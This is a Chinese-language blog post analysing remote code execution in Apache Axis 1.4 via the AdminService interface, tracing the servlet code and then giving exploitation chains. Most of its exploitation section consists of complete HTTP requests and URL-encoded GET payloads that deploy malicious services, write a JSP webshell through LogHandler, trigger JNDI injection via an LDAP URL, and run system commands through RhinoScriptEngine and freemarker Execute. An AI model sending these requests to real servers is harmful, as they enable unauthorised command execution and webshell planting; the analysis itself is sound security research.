/  

Apache Axis漏洞分析

环境搭建

安装教程:intellij idea 下用java Apache axis 创建WebService 服务端 过程

enableRemoteAdmin的值默认为false,改成true则会开启远程调用:https://axis.apache.org/axis/java/user-guide.html#Remote_Administration

漏洞分析

该漏洞主要是通过/services/AdminService接口来新建服务导致恶意代码执行

流程解析

流程比较复杂,具体可以看 nice_0e3 师傅的文章,这里就简单看看

org.apache.axis.transport.http.AxisServlet#doPost

在POST传参的时候会调用 getSoapAction 方法

这里需要存在Header头SOAPAction,否则直接throw af抛出异常了

org.apache.axis.transport.http.AxisServlet#doGet

跟进 processQuery 方法

调用org.apache.axis.transport.http.QSMethodHandler#invoke

即调用 invokeEndpointFromGet 方法处理参数:

while(e.hasMoreElements()) {
        String param = (String)e.nextElement();
        if (param.equalsIgnoreCase("method")) {
            method = request.getParameter(param);
        } else {
            args = args + "<" + param + ">" + request.getParameter(param) + "</" + param + ">";
        }
    }

    if (method == null) {
        response.setContentType("text/html");
        response.setStatus(400);
        writer.println("<h2>" + Messages.getMessage("error00") + ":  " + Messages.getMessage("invokeGet00") + "</h2>");
        writer.println("<p>" + Messages.getMessage("noMethod01") + "</p>");
    } else {
        this.invokeEndpointFromGet(msgContext, response, writer, method, args);
    }

}

private void invokeEndpointFromGet(MessageContext msgContext, HttpServletResponse response, PrintWriter writer, String method, String args) throws AxisFault {
    String body = "<" + method + ">" + args + "</" + method + ">";
    String msgtxt = "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"><SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" + "</SOAP-ENV:Envelope>";
    ByteArrayInputStream istream = new ByteArrayInputStream(msgtxt.getBytes());
    Message responseMsg = null;

会在method前后加上尖括号,然后放到SOAP标签内,那么我们就需要进行闭合,使用<!-->作为前缀,这是 XML 注释的开头, </!-->为注释的结尾,因此,第一行被忽略,我们的payload就只会解析一次了

AdminService接口调用

看到org.apache.axis.utils.Admin#AdminService

调用this.process方法,跟进

调用 verifyHostAllowed 方法对 ip 进行检验,需要满足 enableRemoteAdmin 为true,如果不满足那么需要 remoteIP 为127.0.0.1或者0:0:0:0:0:0:0:1,如果都不是则直接 throw 抛出异常

if (rootNS != null && rootNS.equals("http://xml.apache.org/axis/wsdd/")) {
            return processWSDD(msgContext, engine, root);
        }

接下来进入到 processWSDD 方法

org.apache.axis.AxisEngine#saveConfiguration,写入配置文件

org.apache.axis.configuration.FileProvider#writeEngineConfig

即会将xml数据写入到server-config.wsdd配置文件里面,造成漏洞

漏洞利用

利用方式有以下两种:

  • 暴露在外部的web service能直接调用造成危害,web service通常会存在较多的漏洞问题,很多时候没鉴权或者鉴权不够
  • 利用AdminService部署恶意类service或者handler,但是AdminService只能local访问,需要配合一个SSRF

实际上大多数情况都是第二种,需要利用XXE、SSRF或者中间人攻击,通过get请求来部署恶意服务

而类作为service也是需要条件的:

  • 需要有一个 public 的无参构造函数
  • 只有public的方法会作为service方法,并且不包含父类的方法

官网配置文档:https://axis.apache.org/axis/java/reference.html

allowedMethods字段指定调用的方法、className字段指定实现的类名

org.apache.axis.handlers.LogHandler

LogHandler:它将每次的请求和响应记录到文件中
我们可以更改默认配置文件名LogHandler.fileName,然后通过日志文件写入webshell

POST请求:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: 785

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" >
  <soap:Body>
    <deployment
      xmlns="http://xml.apache.org/axis/wsdd/"
      xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
        <service name="randomAAA" provider="java:RPC">
        <requestFlow>
            <handler type="java:org.apache.axis.handlers.LogHandler" >
                <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />
                <parameter name="LogHandler.writeToConsole" value="false" />
            </handler>
        </requestFlow>
          <parameter name="className" value="java.util.Random" />
          <parameter name="allowedMethods" value="*" />
        </service>
    </deployment>
  </soap:Body>
</soap:Envelope>

GET请求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice+name%3D%22randomBBB%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter+name%3D%22className%22+value%3D%22java.util.Random%22+%2F%3E%3Cparameter+name%3D%22allowedMethods%22+value%3D%22*%22+%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080

通过get或post请求部署完成后,可以看到配置文件已经被改变了

第二步访问刚才部署的service,请求内容包含webshell

POST /axis/services/randomBBB HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: 700

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://util.java">
   <soapenv:Header/>
   <soapenv:Body>
      <util:ints soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <in0 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance"><![CDATA[
<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); %>
]]></in0>
         <in1 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">?</in1>
      </util:ints>
   </soapenv:Body>
</soapenv:Envelope>

成功写入../webapps/ROOT/shell.jsp

缺陷:只有写入jsp文件时,并且目标服务器解析jsp文件时才有用,例如不让解析jsp但是解析jspx文件时,因为log中有其他垃圾信息,jspx会解析错误,所以写入jspx也是没用的

org.apache.axis.client.ServiceFactory

很明显的JNDI注入

POST请求:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
SOAPAction: ""
Content-Type: application/xml; charset=utf-8
Content-Length: 755

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soapenv:Body>
    <ns1:deployment xmlns:ns1="http://xml.apache.org/axis/wsdd/" xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
      <ns1:service name="ServiceFactoryService" provider="java:RPC">
        <ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
        <ns1:parameter name="allowedMethods" value="*"/>
      </ns1:service>
    </ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>

GET请求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice+name%3D%22ServiceFactoryService%22+provider%3D%22java%3ARPC%22%3E%3Cparameter+name%3D%22className%22+value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter+name%3D%22allowedMethods%22+value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080

通过get或post请求部署完成后,访问刚才部署的service并调用它的getService方法,传入jndi链接即可:

POST /axis/services/ServiceFactoryService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: 759

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:buil="http://build.antlr">
  <soapenv:Header/>
  <soapenv:Body>
    <buil:getService soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <environment xmlns:apachesoap="http://xml.apache.org/xml-soap" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xsi:type="apachesoap:Map">
        <item>
          <key xsi:type="soapenc:string">jndiName</key>
          <value xsi:type="soapenc:string">ldap://127.0.0.1:1389/Basic/Command/calc</value>
        </item>
      </environment>
    </buil:getService>
  </soapenv:Body>
</soapenv:Envelope>

缺陷:如果设置了不允许远程加载JNDI Factory,就不能用了

com.sun.script.javascript.RhinoScriptEngine

JDK<=7才存在的类,用来解析javascript

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: 917

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" >
  <soap:Body>
    <deployment
      xmlns="http://xml.apache.org/axis/wsdd/"
      xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
        <service name="RhinoScriptEngineService" provider="java:RPC">
          <parameter name="className" value="com.sun.script.javascript.RhinoScriptEngine" />
          <parameter name="allowedMethods" value="eval" />
          <typeMapping deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
                     type="java:javax.script.SimpleScriptContext"
                     qname="ns:SimpleScriptContext"
                     serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
                     xmlns:ns="urn:beanservice" regenerateElement="false">
          </typeMapping>
        </service>
    </deployment>
  </soap:Body>
</soap:Envelope>

GET请求:

PLAINTEXT

GET /axis/services/AdminService?method=!--%3E%3Cdeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice+name%3D%22RhinoScriptEngineService%22+provider%3D%22java%3ARPC%22%3E%3Cparameter+name%3D%22className%22+value%3D%22com.sun.script.javascript.RhinoScriptEngine%22+%2F%3E%3Cparameter+name%3D%22allowedMethods%22+value%3D%22eval%22+%2F%3E%3CtypeMapping+deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22+type%3D%22java%3Ajavax.script.SimpleScriptContext%22+qname%3D%22ns%3ASimpleScriptContext%22+serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22+xmlns%3Ans%3D%22urn%3Abeanservice%22+regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080

通过get或post请求部署完成后,访问刚才部署的service并调用它的eval方法,还可以回显:

POST /axis/services/RhinoScriptEngineService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: 702

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jav="http://javascript.script.sun.com">
  <soapenv:Body>
    <eval xmlns="http://127.0.0.1:8080/services/scriptEngine">
     <arg0 xmlns="">
     <![CDATA[function test(){var pb = new java.lang.ProcessBuilder('cmd.exe','/c','whoami');var process = pb.start();var ret = new java.util.Scanner(process.getInputStream()).useDelimiter('\\A').next();return ret;}test();]]>
     </arg0>
     <arg1 xmlns="" xsi:type="urn:SimpleScriptContext" xmlns:urn="urn:beanservice">
     </arg1>
    </eval>
  </soapenv:Body>
</soapenv:Envelope>

缺陷: jdk7及之前的版本可以用,之后的版本就不是这个ScriptEngine类了,取代他的是NashornScriptEngine,但是这个NashornScriptEngine不能利用

freemarker.template.utility.Execute

需要添加依赖,下载:https://www.apache.org/dyn/closer.cgi/freemarker/engine/2.3.32/binaries/apache-freemarker-2.3.32-bin.tar.gz,导入freemarker-2.3.32.jar

看到exec方法,很明显的命令执行

POST /services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: 627

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soapenv:Body>
    <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
       <service name="freemarkerTest" provider="java:RPC">
        <parameter name="className" value="freemarker.template.utility.Execute"/>
        <parameter name="allowedMethods" value="*"/>
       </service>
    </deployment>
  </soapenv:Body>
</soapenv:Envelope>

GET请求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice+name%3D%22freemarkerTest%22+provider%3D%22java%3ARPC%22%3E%3Cparameter+name%3D%22className%22+value%3D%22freemarker.template.utility.Execute%22%2F%3E%3Cparameter+name%3D%22allowedMethods%22+value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080

调用service命令执行:

POST /axis/services/freemarkerTest HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: 587

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://utility.template.freemarker" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
   <soapenv:Header/>
   <soapenv:Body>
      <util:exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <arguments>
            <string xsi:type="soapenc:string">cmd.exe /c whoami</string>
         </arguments>
      </util:exec>
   </soapenv:Body>
</soapenv:Envelope>

参考:
Oracle PeopleSoft Remote Code Execution: Blind XXE to SYSTEM Shell
Apache Axis1(<=1.4版本) RCE
Apache Axis1 与 Axis2 WebService 的漏洞利用总结
Apache Axis1.4 RCE 漏洞分析 | Bmth's blog (bmth666.cn)